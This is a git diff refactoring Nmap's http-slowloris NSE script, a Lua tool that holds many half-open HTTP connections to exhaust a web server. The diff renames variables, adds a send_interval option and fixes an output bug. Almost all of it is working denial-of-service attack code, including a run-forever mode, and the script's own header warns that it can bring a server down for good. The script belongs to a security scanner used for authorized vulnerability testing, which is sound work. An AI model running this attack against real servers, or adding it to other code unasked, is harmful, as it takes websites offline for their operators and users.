diff --git a/scripts/http-slowloris.nse b/scripts/http-slowloris.nse
index e28d24093..9d1adaa8e 100644
--- a/scripts/http-slowloris.nse
+++ b/scripts/http-slowloris.nse
@@ -21,7 +21,7 @@ filtering rules):
* Time taken until DoS
* Number of sockets used
* Number of queries sent
-By default the script runs for 30 minutes if DoS is not achieved.
+By default the script runs for 30 minutes if DoS is not achieved.
Please note that the number of concurrent connexions must be defined
with the --max-parallelism option (default is 20, suggested
@@ -29,7 +29,7 @@ is 400 or more) Also, be advised that in some cases this attack can
bring the web server down for good, not only while the attack is
running.
-Also, due to OS limitations, the script is unlikely to work
+Also, due to OS limitations, the script is unlikely to work
when run from Windows.
]]
@@ -37,15 +37,17 @@ when run from Windows.
-- @usage
-- nmap --script http-slowloris --max-parallelism 400
--
--- @args http-slowloris.timeout Time to wait before sending new http header datas
+-- @args http-slowloris.runforever Specify that the script should continue the
+-- attack forever. Defaults to false.
+-- @args http-slowloris.send_interval Time to wait before sending new http header datas
-- in order to maintain the connection. Defaults to 100 seconds.
--- @args http-slowloris.runforever Specify that the script should continue the attack forever.
--- @args http-slowloris.timelimit Specify maximum run time for DoS attack (30 minutes default).
+-- @args http-slowloris.timelimit Specify maximum run time for DoS attack (30
+-- minutes default).
--
-- @output
-- PORT STATE SERVICE REASON VERSION
-- 80/tcp open http syn-ack Apache httpd 2.2.20 ((Ubuntu))
--- | http-slowloris:
+-- | http-slowloris:
-- | Vulnerable:
-- | the DoS attack took +2m22s
-- | with 501 concurrent connections
@@ -58,126 +60,148 @@ categories = {"dos", "intrusive"}
portrule = shortport.http
-local runforever = stdnse.get_script_args('http-slowloris.runforever') or nil
+local SendInterval
+local TimeLimit
+
+
+-- this will save the amount of still connected threads
+local ThreadCount = 0
+
+-- the maximum amount of sockets during the attack. This could be lower than the
+-- requested concurrent connections because of the webserver configuration (eg
+-- maxClients on Apache)
+local Sockets = 0
+
+-- this will save the amount of new lines sent to the half-http requests until
+-- the target runs out of ressources
+local Queries = 0
+
+local ServerNotice
+local DOSed = false
+local StopAll = false
+local Reason = "slowloris" -- DoSed due to slowloris attack or something else
+local Bestopt
+
-- get time (in miliseconds) when the script should finish
local function get_end_time()
- local t = nmap.timing_level()
- local limit = stdnse.parse_timespec(stdnse.get_script_args('http-slowloris.timelimit') or "30m")
- local end_time = 1000 * limit + nmap.clock_ms()
- return end_time
+ if TimeLimit == nil then
+ return -1
+ end
+ return 1000 * TimeLimit + nmap.clock_ms()
end
-local thread_count = 0 -- this will save the amount of still connected threads
-local sockets = 0 -- the maximum amount of sockets during the attack. This could be lower than the requested concurrent connections because of the webserver configuration (eg maxClients on Apache)
-local queries = 0 -- this will save the amount of new lines sent to the half-http requests until the target runs out of ressources
-local server_notice
-local dosed = false
-local stop_all = false
-local reason = "slowloris" -- DoSed due to slowloris attack or something else
-local bestopt
+local function set_parameters()
+ SendInterval = stdnse.parse_timespec(stdnse.get_script_args('http-slowloris.send_interval') or '100s')
+ if stdnse.get_script_args('http-slowloris.runforever') then
+ TimeLimit = nil
+ else
+ TimeLimit = stdnse.parse_timespec(stdnse.get_script_args('http-slowloris.timelimit') or '30m')
+ end
+end
-local doHalfhttp = function(host,port,obj)
+local function do_half_http(host, port, obj)
local condvar = nmap.condvar(obj)
- local get_uri = math.random(100000, 900000) -- we will query a random page
-
- if stop_all then
- condvar "signal"
+
+ if StopAll then
+ condvar("signal")
return
end
-
- -- create socket
+
+ -- Create socket
local slowloris = nmap.new_socket()
- slowloris:set_timeout(200 * 1000) -- set a long timeout so our socked doesn't timeout while it's waiting
-
- thread_count = thread_count + 1
+ slowloris:set_timeout(200 * 1000) -- Set a long timeout so our socked doesn't timeout while it's waiting
+
+ ThreadCount = ThreadCount + 1
local catch = function()
- -- this connection is now dead
- thread_count = thread_count - 1
- stdnse.print_debug("HALF_HTTP: lost connection")
+ -- This connection is now dead
+ ThreadCount = ThreadCount - 1
+ stdnse.print_debug(SCRIPT_NAME .. " [HALF HTTP]: lost connection")
slowloris:close()
slowloris = nil
- condvar "signal"
+ condvar("signal")
end
-
+
local try = nmap.new_try(catch)
- try(slowloris:connect(host.ip, port,bestopt))
+ try(slowloris:connect(host.ip, port, Bestopt))
-- Build a half-http header.
- local half_http = "POST /"..get_uri.." HTTP/1.1\r\n"
- half_http = half_http.."Host: "..host.ip.."\r\n"
- half_http = half_http.."User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
- half_http = half_http.."Content-Length: 42\r\n"
+ local half_http = "POST /" .. tostring(math.random(100000, 900000)) .. " HTTP/1.1\r\n" ..
+ "Host: " .. host.ip .. "\r\n" ..
+ "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; " ..
+ ".NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n" ..
+ "Content-Length: 42\r\n"
+
try(slowloris:send(half_http))
- server_notice = " (attack against "..host.ip.."): HTTP stream started."
+ ServerNotice = " (attack against " .. host.ip .. "): HTTP stream started."
+ -- During the attack some connections will die and other will respawn.
+ -- Here we keep in mind the maximum concurrent connections reached.
- -- during the attack some connections will die and other will respawn. Here we keep in mind the maximum concurrent connections reached.
- if sockets <= thread_count then sockets = thread_count end
-
- local feed_interval = stdnse.get_script_args("http-slowloris.timeout")
- if feed_interval == nil then feed_interval = 100 end
+ if Sockets <= ThreadCount then Sockets = ThreadCount end
-- Maintain a pending HTTP request by adding a new line at a regular 'feed' interval
while true do
- if stop_all then
+ if StopAll then
break
end
- stdnse.sleep(feed_interval)
+ stdnse.sleep(SendInterval)
try(slowloris:send("X-a: b\r\n"))
- server_notice = " (attack against "..host.ip.."): Feeding HTTP stream..."
- queries = queries + 1
- server_notice = server_notice .. "\n(attack against "..host.ip.."): "..queries.." queries sent using "..thread_count.." connections."
+ ServerNotice = " (attack against " .. host.ip .. "): Feeding HTTP stream..."
+ Queries = Queries + 1
+ ServerNotice = ServerNotice .. "\n(attack against " .. host.ip .. "): " .. Queries .. " queries sent using " .. ThreadCount .. " connections."
end
slowloris:close()
- thread_count = thread_count - 1
- condvar "signal"
+ ThreadCount = ThreadCount - 1
+ condvar("signal")
end
--- Monitor the web server
-local doMonitor = function(host,port)
-
+-- Monitor the web server
+local function do_monitor(host, port)
local general_faults = 0
local request_faults = 0 -- keeps track of how many times we didn't get a reply from the server
- stdnse.print_debug("MONITOR: Monitoring " ..host.ip.. " started")
- local request = "GET / HTTP/1.1\r\nHost: "..host.ip
- .."\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n\r\n"
- local monitor, line
+
+ stdnse.print_debug(SCRIPT_NAME .. " [MONITOR]: Monitoring " .. host.ip .. " started")
+
+ local request = "GET / HTTP/1.1\r\n" ..
+ "Host: " .. host.ip ..
+ "\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; " ..
+ ".NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n\r\n"
local opts = {}
+ local _
- monitor, line, bestopt = comm.tryssl(host,port,"GET / \r\n\r\n",opts) -- first determine if we need ssl
-
+ _, _, Bestopt = comm.tryssl(host, port, "GET / \r\n\r\n", opts) -- first determine if we need ssl
- while not stop_all do
- monitor = nmap.new_socket()
- local status = monitor:connect(host.ip, port,bestopt)
+ while not StopAll do
+ local monitor = nmap.new_socket()
+ local status = monitor:connect(host.ip, port, Bestopt)
if not status then
general_faults = general_faults + 1
if general_faults > 3 then
- reason = "not-slowloris"
- dosed = true
- break
+ Reason = "not-slowloris"
+ DOSed = true
+ break
end
- else
+ else
status = monitor:send(request)
- if not status then
+ if not status then
general_faults = general_faults + 1
if general_faults > 3 then
- reason = "not-slowloris"
- dosed = true
- break
+ Reason = "not-slowloris"
+ DOSed = true
+ break
end
end
- local status, data = monitor:receive_lines(1)
+ status, _ = monitor:receive_lines(1)
if not status then
- stdnse.print_debug("MONITOR: Didn't get a reply from " .. host.ip .. "." )
+ stdnse.print_debug(SCRIPT_NAME .. " [MONITOR]: Didn't get a reply from " .. host.ip .. "." )
monitor:close()
request_faults = request_faults +1
if request_faults > 3 then
- if runforever == nil then
- stdnse.print_debug("MONITOR: server " .. host.ip .. "is now unavailable. The attack worked.")
- dosed = true
+ if TimeLimit then
+ stdnse.print_debug(SCRIPT_NAME .. " [MONITOR]: server " .. host.ip .. " is now unavailable. The attack worked.")
+ DOSed = true
end
monitor:close()
break
@@ -185,96 +209,114 @@ local doMonitor = function(host,port)
else
request_faults = 0
general_faults = 0
- stdnse.print_debug("MONITOR: "..host.ip.." still up, answer received." )
+ stdnse.print_debug(SCRIPT_NAME .. " [MONITOR]: ".. host.ip .." still up, answer received.")
stdnse.sleep(10)
monitor:close()
end
- if stop_all then
+ if StopAll then
break
end
end
end
end
-
-local mutex = nmap.mutex("http-slowloris")
-local threads = {}
+local Mutex = nmap.mutex("http-slowloris")
-local worker_schedluer = function(host, port)
+local function worker_scheduler(host, port)
+ local Threads = {}
local obj = {}
local condvar = nmap.condvar(obj)
local i
- for i=1,1000 do -- The real amount of sockets is triggered by the --max-parallelism option. The remaining threads will replace dead sockets during the attack
- local co = stdnse.new_thread(doHalfhttp, host, port,obj)
- threads[co] = true
+
+ for i = 1, 1000 do
+ -- The real amount of sockets is triggered by the
+ -- '--max-parallelism' option. The remaining threads will replace
+ -- dead sockets during the attack
+ local co = stdnse.new_thread(do_half_http, host, port, obj)
+ Threads[co] = true
end
-
- while not dosed and not stop_all do -- keep creating new threads, in case we want to run the attack indefinitely
+
+ while not DOSed and not StopAll do
+ -- keep creating new threads, in case we want to run the attack indefinitely
repeat
- condvar "wait"
- if stop_all then
- return
- end
- for thread in pairs(threads) do
- if coroutine.status(thread) == "dead" then
- threads[thread] = nil
+ condvar("wait")
+ if StopAll then
+ return
end
- end
- stdnse.print_debug("starting new thread")
- local co = stdnse.new_thread(doHalfhttp, host, port,obj)
- threads[co] = true
- until next(threads) == nil;
+
+ for thread in pairs(Threads) do
+ if coroutine.status(thread) == "dead" then
+ Threads[thread] = nil
+ end
+ end
+ stdnse.print_debug(SCRIPT_NAME .. " [SCHEDULER]: starting new thread")
+ local co = stdnse.new_thread(do_half_http, host, port, obj)
+ Threads[co] = true
+ until next(Threads) == nil;
end
end
action = function(host, port)
- mutex "lock" -- we want only one slowloris instance running at a single time even if multiple hosts are specified
- -- in order to have as many sockets as we can available to this script
+ Mutex("lock") -- we want only one slowloris instance running at a single
+ -- time even if multiple hosts are specified
+ -- in order to have as many sockets as we can available to
+ -- this script
- local output={}
- local start,stop,dos_time
+ set_parameters()
+
+ local output = {}
+ local start, stop, dos_time
start = os.date("!*t")
-- The first thread is for monitoring and is launched before the attack threads
- local mon = stdnse.new_thread(doMonitor, host, port)
+ stdnse.new_thread(do_monitor, host, port)
stdnse.sleep(2) -- let the monitor make the first request
-
- stdnse.print_debug("MAIN THREAD: starting schedluer")
- local sched = stdnse.new_thread(worker_schedluer, host, port)
- local end_time = get_end_time()
+ stdnse.print_debug(SCRIPT_NAME .. " [MAIN THREAD]: starting scheduler")
+ stdnse.new_thread(worker_scheduler, host, port)
+ local end_time = get_end_time()
local last_message
- if not (runforever == nil) then
- stdnse.print_debug("RUNNING FOREVER")
+ if TimeLimit == nil then
+ stdnse.print_debug(SCRIPT_NAME .. " [MAIN THREAD]: running forever!")
end
- -- return a live notice from time to time
- while (nmap.clock_ms() < end_time or not (runforever == nil)) and not stop_all do
- if server_notice ~= last_message then -- don't flood the output by repeating the same info
- stdnse.print_debug("MAIN THREAD: " .. server_notice)
- last_message = server_notice
+
+ -- return a live notice from time to time
+ while (nmap.clock_ms() < end_time or TimeLimit == nil) and not StopAll do
+ if ServerNotice ~= last_message then
+ -- don't flood the output by repeating the same info
+ stdnse.print_debug(SCRIPT_NAME .. " [MAIN THREAD]: " .. ServerNotice)
+ last_message = ServerNotice
end
- if dosed and runforever == nil then
+ if DOSed and TimeLimit ~= nil then
break
end
stdnse.sleep(10)
end
stop = os.date("!*t")
- dos_time = stdnse.format_difftime(stop,start)
- stop_all = true
- if dosed then
- if reason == "slowloris" then
- stdnse.print_debug(2, "%s: Slowloris Attack stopped, building output", SCRIPT_NAME)
- output = "Vulnerable:\n".. "the DoS attack took ".. dos_time .. "\nwith ".. sockets .. " concurrent connections\nand " .. queries .." sent queries"
+ dos_time = stdnse.format_difftime(stop, start)
+ StopAll = true
+ if DOSed then
+ if Reason == "slowloris" then
+ stdnse.print_debug(2, SCRIPT_NAME .. " Slowloris Attack stopped, building output")
+ output = "Vulnerable:\n" ..
+ "the DoS attack took "..
+ dos_time .. "\n" ..
+ "with ".. Sockets .. " concurrent connections\n" ..
+ "and " .. Queries .." sent queries"
else
- stdnse.print_debug(2, "%s: Slowloris Attack stopped. Monitor couldn't communicate with the server.", SCRIPT_NAME)
- output = "Probably vulnerable:\n".. "the DoS attack took ".. dos_time .. "\nwith ".. sockets .. " concurrent connections\nand " .. queries .." sent queries"
- output = output + "Monitoring thread couldn't communicate with the server. This is probably due to max clients exhaustion or something similar but not due to slowloris attack."
+ stdnse.print_debug(2, SCRIPT_NAME .. " Slowloris Attack stopped. Monitor couldn't communicate with the server.")
+ output = "Probably vulnerable:\n" ..
+ "the DoS attack took " .. dos_time .. "\n" ..
+ "with " .. Sockets .. " concurrent connections\n" ..
+ "and " .. Queries .. " sent queries\n" ..
+ "Monitoring thread couldn't communicate with the server. " ..
+ "This is probably due to max clients exhaustion or something similar but not due to slowloris attack."
end
- mutex "done" -- release the mutex
+ Mutex("done") -- release the mutex
return stdnse.format_output(true, output)
end
- mutex "done" -- release the mutex
+ Mutex("done") -- release the mutex
return false
end